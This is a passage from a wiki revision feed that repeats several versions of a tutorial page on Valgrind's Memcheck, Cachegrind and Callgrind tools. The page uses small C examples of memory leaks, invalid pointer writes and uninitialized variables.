** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11201</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11201"/>
		<updated>2023-01-28T13:36:41Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11200</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11200"/>
		<updated>2023-01-28T13:36:21Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|800px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:5_valgrind_gfugkgi.jpg&amp;diff=11199</id>
		<title>File:5 valgrind gfugkgi.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:5_valgrind_gfugkgi.jpg&amp;diff=11199"/>
		<updated>2023-01-28T13:35:36Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11198</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11198"/>
		<updated>2023-01-28T13:29:52Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|500px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11197</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11197"/>
		<updated>2023-01-28T13:29:02Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Callgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
